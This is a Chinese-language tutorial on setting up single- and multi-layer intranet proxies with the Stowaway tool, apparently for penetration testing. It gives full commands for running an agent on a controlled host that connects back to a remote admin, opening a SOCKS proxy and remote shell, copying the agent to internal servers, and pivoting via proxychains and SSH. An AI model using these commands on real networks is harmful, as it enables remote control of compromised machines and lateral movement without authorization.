根据不同操作系统选择不同的Stowaway admin/client可执行文件

单层代理

服务器端开放2345端口,设置连接key为114514,即控制端:

./linux_x64_admin -l 2345 -s 114514

客户端连接对应服务器端端口,可以设置掉线8s后重连,即受控端:

windows_x64_agent.exe -c 61.139.2.128:2345 -s 114514 --reconnect 8

使用detail命令查看节点状态:

(admin) >> detail

在控制端3456端口建立代理:

(admin) >> use 0
(node 0) >> socks 3456

可以直接进shell对受控端进行管理:

(node 0) >> shell

攻击机配置/etc/proxychains4.conf代理:

socks5 控制端ip 3456

后续可以利用proxychains向内网执行各种命令,例如通过ssh登录到内网:

proxychains ssh 内网目标用户名@受控端内网目标服务器的ip -p 22

多层代理

在单层代理的基础上,继续往内网服务器上传agent可执行文件,假设是linux的服务器,可以通过scp进行传输:

proxychains scp linux_x64_agent 内网目标用户名@受控端内网目标服务器的ip:/tmp/agent

先在入口机,即第一台受控端上开启监听,输入监听端口6666:

(node 0) >> listen
[*] BE AWARE! If you choose IPTables Reuse or SOReuse,you MUST CONFIRM that the node you're controlling was started in the corresponding way!              
[*] When you choose IPTables Reuse or SOReuse, the node will use the initial config(when node started) to reuse port!                                      
[*] Please choose the mode(1.Normal passive/2.IPTables Reuse/3.SOReuse): 1
[*] Please input the [ip:]<port> : 6666
[*] Waiting for response......                                                                                                                             
[*] Node is listening on 6666

第二台受控端连接到入口机:

./linux_x64_agent -c 入口机内网ip:6666 -s 114514 --reconnect 8

如果连接成功,控制端会新增一个节点:

[*] New node online! Node id is 1

后续操作都是类似的,最终可以搭建多层代理

参考资料:

https://fushuling.com/index.php/2023/09/21/%e5%86%85%e7%bd%91%e4%bb%a3%e7%90%86%e6%90%ad%e5%bb%ba/

https://k0u1g.cn/CyberSec/0x06%20%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F/Stowaway.html